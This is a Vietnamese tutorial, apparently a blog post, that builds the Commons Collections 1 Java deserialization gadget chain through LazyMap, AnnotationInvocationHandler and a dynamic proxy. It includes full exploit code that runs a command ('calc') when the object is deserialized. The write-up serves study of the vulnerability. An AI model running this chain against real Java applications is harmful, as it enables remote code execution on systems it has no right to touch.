Phân tích chuỗi Commons Collections 1 với LazyMap

  1. 1. Phân tích
    1. 1.1. InvokeTransformer
    2. 1.2. AnnotationInvocationHandler.invoke()
    3. 1.3. Dynamic Proxy
    4. 1.4. Chuỗi hoàn chỉnh
  2. 2. Lời kết

Trong bài viết trước mình đã phân tích lỗ hổng deserialization của TransformMap trong chuỗi CC1, và trong bài viết này mình sẽ thực hiện deserialization theo hướng của lớp LazyMap.

Phân tích

InvokeTransformer

Phần đuôi của chuỗi này cũng tương tự như chuỗi trước là InvokerTransformer, mình sẽ không phân tích lại lớp này. Như bài viết trước đã nói chúng ta cần tìm lớp gọi đến phương thức transform của lớp InvokerTransformer.

Ctrl + Chuột trái click vào phương thức transform

Phương thức này được sử dụng ở LazyMap.get()

Xem factory là gì nào~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

/**
* Constructor that wraps (not copies).
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Lớp này sử dụng Overloading cho hàm tạo và hàm decorate, và ở đây có kiểu truyền vào cho factory là Transformer hoặc Factory, do đó chúng ta có thể truyền vào factory một Transformer rồi cho factory.transform(Runtime.getRuntime) như chain trước.

Ở bài viết trước, có một vấn đề gặp phải là lớp Runtime không implements serialize và không thể điều khiển được tham số ở trong hàm setValue. Và chúng ta đã thấy được cái tiện lợi của lớp ChainedTransformer và ConstantTransformer. Nên mình sẽ sử dụng lại đoạn này để bỏ đi một vài bước không cần thiết.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(null);
}
}

Đã mở được máy tính. Tuy nhiên như thế vẫn chưa đủ, chúng ta cần tìm lớp nào gọi đến phương thức LazyMap.get(). Và với chuỗi này, chúng ta sẽ tập trung đến lớp AnnotationInvocationHandler.

AnnotationInvocationHandler.invoke()

Trong hàm invoke của AnnotationInvocationHandler có dòng thực hiện phương thức get Object var6 = this.memberValues.get(var4);:

  • this.memberValues ở đây là một map, chúng ta có thể cast nó sang LazyMap để lợi dụng LazyMap.get().
  • Như bài viết trước đã nói, lớp này là lớp kiểu default và constructor cũng là default nên chúng ta phải khởi tạo nó bằng Reflection.

Đoạn code khởi tạo một AnnotationInvocationHandler, chỉ dừng ở việc khởi tạo và mình chưa làm những bước tiếp theo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//lazyMap.get(null);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Object.class);
aihConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Override.class, lazyMap);
//InvocationHandler aihObject = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
}
}

Lớp này đã implements Serializable và có phương thức readObject(). Nên điều mà chúng ta cần tiếp theo là làm sao để lớp này thực hiện hàm invoke() trong phương thức readObject(). Và để thực hiện điều này chúng ta có thể sử dụng Proxy động.

Dynamic Proxy

Các phương thức gốc của lớp gốc đã được ghi đè bằng proxy, khi chúng ta thực hiện một phương thức của lớp đó thông qua proxy, proxy sẽ gọi đến hàm invoke rồi invoke phương thức của lớp này. Để hiểu thêm thì các bạn hãy đọc thêm về Dynamic Proxy trong Java.

1
2
3
4
//Tạo một InvocationHandler để điều khiển phương thức của lớp gốc.
InvocationHandler aihObject = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
//Tạo một proxyMap để gọi phương thức
Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);

Bây giờ khi chúng ta gọi bất kì phương thức nào của proxyMap tương ứng với phương thức của lazyMap, nó sẽ gọi đến phương thức invoke và thực thi lazyMap.get() như mình đã phân tích ở trên.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class test {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//lazyMap.get(null);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
Set set = proxyMap.entrySet();
}
}

Chuỗi hoàn chỉnh

Để ý một chút ở hàm readObject của lớp AnnotationInvocationHandler

this.memberValues là LazyMap chúng ta có thể truyền vào, và nó gọi đến entrySet(). Do đó khi readObject của lớp AnnotationInvocationHandler thực thi chúng ta có thể kích hoạt câu lệnh calc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class test {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//lazyMap.get(null);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
Object aihProxyObject = aihConstructor.newInstance(Override.class, proxyMap);
serialize(aihProxyObject);
unserialize("ser.bin");
}
}

Máy tính đã bật lên và chuỗi của chúng ta đã được xây dựng thành công~

Lời kết

Proxy động là một kiến thức khá phức tạp với những bạn mới bắt đầu, mình khuyên các bạn chỉ cần học và hiểu cách sử dụng, đừng đào sâu vào code gốc bởi vì đó là một lượng kiến thức lớn do những người đi trước đã viết ra.
Khi khởi tạo Proxy động cần đến class loader các bạn chỉ cần biết tải lớp nào cần class loader nào là đủ hoặc cứ cho đại null, không đúng thì abc.class.getClassLoader(), không cần tìm hiểu sâu vào nó.

Chúc các bạn học tốt~